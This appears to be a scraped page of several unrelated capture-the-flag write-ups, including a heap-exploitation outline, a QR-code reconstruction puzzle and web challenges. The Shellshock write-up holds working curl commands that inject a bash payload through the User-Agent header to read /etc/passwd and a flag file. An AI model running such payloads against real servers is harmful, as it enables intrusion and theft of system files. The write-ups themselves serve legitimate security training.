</details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":119350190,"originating_url":"https://github.com/nguyenduyhieukma/CTF-Writeups/tree/master/BCTF/2018","user_id":null}}" data-hydro-click-hmac="f01703f01b08aa7f16f5cb30f8dfc9b1bd09fa69e4ca00b5fdd1d280a1b3e6ec"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/nguyenduyhieukma/CTF-Writeups/refs" cache-key="v0:1641168611.885725" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bmd1eWVuZHV5aGlldWttYS9DVEYtV3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/nguyenduyhieukma/CTF-Writeups/refs" cache-key="v0:1641168611.885725" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bmd1eWVuZHV5aGlldWttYS9DVEYtV3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>BCTF</span></span><span>/</span>2018<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>BCTF</span></span><span>/</span>2018<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/nguyenduyhieukma/CTF-Writeups/tree-commit/f79e9704e8ce8ee2b9aa0e1f284a4606af9d1bbd/BCTF/2018" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/nguyenduyhieukma/CTF-Writeups/file-list/master/BCTF/2018"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Crypto.ipynb</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
1. init your fund2. calculate if your smallBlind * ***x times*** > bigBlind (I went for 400)3. profit
Sorry, the writeup is in Vietnamese. I will try to write in English next time |
## Analyze- Binary-- Three function: create notes, delete note, edit note.-- Create notes: `malloc` notes with fix size : 0x50 and we only `malloc` 3 notes.-- Edit notes: edit content of notes-- Delete notes: `free` notes and we can choice `Clear (y/n)` entry of note in `notes` array.- Libc-- 2.27 -> using tcache.
## Idea- With 3 notes, we can using **tcache dup** to malloc to header of exist chunk. Edit size of this chunk = **0x91** (so when this chunk free, it fall into unsorted bin), free until tcache bin full.- When tcache bin of size **0x90** full, edit size = **0x51** (origin size) and free it -> fall into tcache bin size **0x50**. edit size = **0x91** and free -> fall into unsorted bin.- Overwrite 2 byte in `fd` pointer of this chunk -> `stdout` addr (brute force 4bit). malloc 2 chunk, then the 2nd chunk will be malloc in `stdout` addr.- Using FILE attack to leak libc addr. Then using **tcache dup** to edit `__free_hook` addr. |
# What a cute dog! 350
## Description```This dog is shockingly cute!fun.ritsec.club:8008
Author: sandw1ch```
## Solution
On acessing the page we notice that some load information are being shown on the site.When inspecting it's being loaded from /cgi-bin/stats.This is was a big hint that the site might be vulnerable to CVE 2014-6271 (better known as "Shellshock").I tried a poc exploit:
```bashKiwi@Doghouse:~$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://fun.ritsec.club:8008/cgi-bin/stats
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/sh```
Yaay it worked! Next I searched for the flag:
```bashKiwi@Doghouse:/home/hacker/Documents/ritsec# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'find / -name 'flag*';'" http://fun.ritsec.club:8008/cgi-bin/stats
/proc/sys/kernel/sched_domain/cpu0/domain0/flags/proc/sys/kernel/sched_domain/cpu1/domain0/flags/usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al/opt/flag.txt/sys/devices/pnp0/00:04/tty/ttyS0/flags/sys/devices/platform/serial8250/tty/ttyS2/flags/sys/devices/platform/serial8250/tty/ttyS3/flags/sys/devices/platform/serial8250/tty/ttyS1/flags/sys/devices/virtual/net/eth0/flags/sys/devices/virtual/net/lo/flags```
/opt/flag.txt looks promising!
```bashKiwi@Doghouse:/home/hacker/Documents/ritsec# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt;'" http://fun.ritsec.club:8008/cgi-bin/stats
RITSEC{sh3ll_sh0cked_w0wz3rs} bananaphonne been here ^.^admin pls dont let people write to thistq2 wuz here```
Flag: RITSEC{sh3ll_sh0cked_w0wz3rs} |
# ShreddedWe get 27 images with black and white stripes that look like they may be part of a QR code. The six white images can be ignored, so the total number of permutations becomes `21! ~= 10^19`. Well, brute force is out. Lets try to reduce that by taking a look at the QR code specification.
1. The size is 21x21, so this is [version 1](http://www.qrcode.com/en/about/version.html), meaning there should a 7x7 black square containing a 5x5 white and a 3x3 black square in the top left, top right and bottom left corner. There has to be a white "quiet zone" around the squares.2. There are [timing patterns](http://www.esponce.com/resources/about-qr-codes) (alternating black and white) at two places.3. There is a black ["Dark module"](https://www.thonky.com/qr-code-tutorial/format-version-information#dark-module) at (8, 13).4. There is a 15 bit [format string](https://www.thonky.com/qr-code-tutorial/format-version-information#format-string) encoding the error correction level and the mask pattern used. There are [32 alternatives](https://www.thonky.com/qr-code-tutorial/format-version-tables).
This means we need to fit this image:
(Source: https://www.thonky.com/qr-code-tutorial/format-version-information)
We use (1) to match up the squares and the surrounding quiet zone, (2) to select the right slice for column 6 and (2) and (3) to reduce the number of potential permutations for the center columns.
Now there is a limited number of slices that match the two required black pixels in column 8 (the one with the full format string) and aren't already used for the squares. Let's see if any of them match with the wanted format strings using a litle Python script.
```python# 1=black, 0=white
# wanted from https://www.thonky.com/qr-code-tutorial/format-version-tableswanted = ["111011111000100", "111001011110011", "111110110101010", "111100010011101", "110011000101111", "110001100011000", "110110001000001", "110100101110110", "101010000010010", "101000100100101" , "101111001111100", "101101101001011", "100010111111001", "100000011001110", "100111110010111", "100101010100000", "011010101011111", "011000001101000", "011111100110001", "011101000000110", "010010010110100", "010000110000011", "010111011011010", "010101111101101", "001011010001001", "001001110111110", "001110011100111", "001100111010000", "000011101100010", "000001001010101", "000110100001100", "000100000111011"]
# Based on possible pixels 0-6 (lower part of slice) in column 8possible = ["1111000", "1010111", "1100011", "0010001", "1101110", "1111001"]
for f in wanted: # Check if the first part matches up if f[:7] not in possible: continue # There are two black and one white pixels in row 8, column 2-4 sum = 0 for i in range(2,5): if f[i] == "1": sum+=1 if sum == 2: # We found something that matches all requirements print (f)```
Luckily there is only one match, `111100010011101`. Combining all that we have the following situation
where slices marked black are final, a green column may still switch with another green column, a red with another red and so on. This means we have `2*2*2*2*3=48` permutations. Not to bad, time for some brute force:
```pythonimport itertoolsfrom PIL import Imagefrom pyzbar.pyzbar import decode
# Read all imagesimages = map(Image.open, [str(i)+".png" for i in range(27)])images = list(images)
widths, heights = zip(*(i.size for i in images))total_width = sum(widths)max_height = max(heights)
# Our best guess for now, based on image namespositions = [5, 6,25,16, 2, 15, 26, 3, 23, 19, 20, 10, 21, 7, 8, 1, 4, 22, 24, 18, 14]
# Encoding the requirements in the image above into code, first slice has to be image 5, second is image 6, third may be image 16 or 25 and so on.for i in filter(lambda x: x[0] == 5 and x[1] == 6 and x[4] == 2 and x[5] == 15 and x[6] ==26 and x[7] == 3 and x[8] == 23 and x[13] == 7 and x[14] == 8 and x[20]==14 and x[2] in [16,25] and x[3] in [16,25] and x[9] in [19,10] and x[11] in [19,10] and x[10] in [20,21] and x[12] in [20,21] and x[15] in [1,18] and x[19] in [1,18] and x[16] in [4,22,24] and x[17] in [4,22,24] and x[18] in [4,22,24],itertools.permutations(positions)): # Combine slices into one image new_im = Image.new('RGB', (total_width, max_height),color=(255,255,255,0)) x_offset = 20 # Leave some whitespace at the beginning
for image_index in i: im = images[image_index] new_im.paste(im, (x_offset,0)) x_offset += im.size[0]
# Check if the generated QR code is valid if (decode(new_im) != []): print(decode(new_im)) new_im.save("final.png")```
After a few seconds we get the message `GOOD JOB. FLAG-80AD8BCF79` and the QR code
 |
TUCTF 2018 — "Easter egg" challenges====================================
A series of three web challenges, themed around the book _Ready Player One_.
The Copper Gate---------------
> How did I end up here? - Joker > http://18.191.227.167/
We see what looks like a "placeholder" page, with a video referencing the book embedded on the page. The text reads:
> Please return at a later date for more content!
Which I took to be a hint that I needed to somehow make a request "from the future" to get a different version of the page. In fact, it was much simpler: an image included on the page was stored in the `/images` directory. Navigating there, it turns out that directory listing is enabled, and there's a text file with instructions pointing us to "the development area":
http://18.191.227.167/images/sitenotes.txthttp://18.191.227.167/devvvvv/home.html
> Welcome to the development area> You may be asking yourself how you got here... Truth be told I have no idea either. You may want to figure that out.>> Moving on, though.>> I hope you have as much fun solving this as I did writing it.> A big thank you to Warren Robinett for beginning this fun tradition.> In the spirit of the classic video game easter egg, I have hidden a series of challenges throughout this site. In the spirit of my favorite book, Ready Player One.>> (...)> > Each step of the hunt will award points respective to the challenge. The final step and to the egg is the crystal flag. Thank you to everyone for your participation. And now for the introduction.>> **Introductions**>> Three hidden flags open three secret gates. > Wherein the challenger will be tested for worthy traits. > And those with the skill to solve what I create > Will reach The End, where the points await >> **The First Challenge** > > The Copper Flag awaits your attention > Somewhere in an old direction > But you have much to review > If you hope to accrue > The points protected by this section.
"An old direction" seems to point to a directory that we've already explored before. "Protected" made me think of `.htaccess`, but I got a 403 when trying to read it.
With "Preserve network logs" enabled in the Chrome dev console, I used the same trick as before and simply navigated up to `/devvvvv`, trying to see if we could get a directory listing.
Instead, `devvvvv/index.html` contained a `meta` tag redirecting us to `devvvvv/home.html`... but also a link to flag! (Base64 encoded)
```http://18.191.227.167/youfoundthejadegate/gate.htmlVFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}```
---
The Jade Gate-------------
Challenge description:
> Gotta make sure I log my changes. - Joker > http://18.191.227.167/
On the page where we found the copper flag, there were extra instructions:
> **The Jade Flag**>> The updates conceal the Jade Flag > in a backup long neglected > But you can only retrace your steps > once the logs are all collected
Okay, so there are some evocative keywords there:
- "backup": perhaps a zip with the source code / database dump is stored somewhere- "logs": server & access logs? PHP stores logs in a default location, so perhaps there's a directory traversal exploit that would allow us to get them. I tried for a little bit, but no luck.- "log my changes": wait, that sounds a lot like version control!
http://18.191.227.167/.git/ Bingo! We get the directory listing for a typical git repository. Let's download it for convenience:
```wget -r http://18.191.227.167/.git/```
Looking at the changes from each commit, after reading through a few funny / trollish messages, we find the Jade flag:
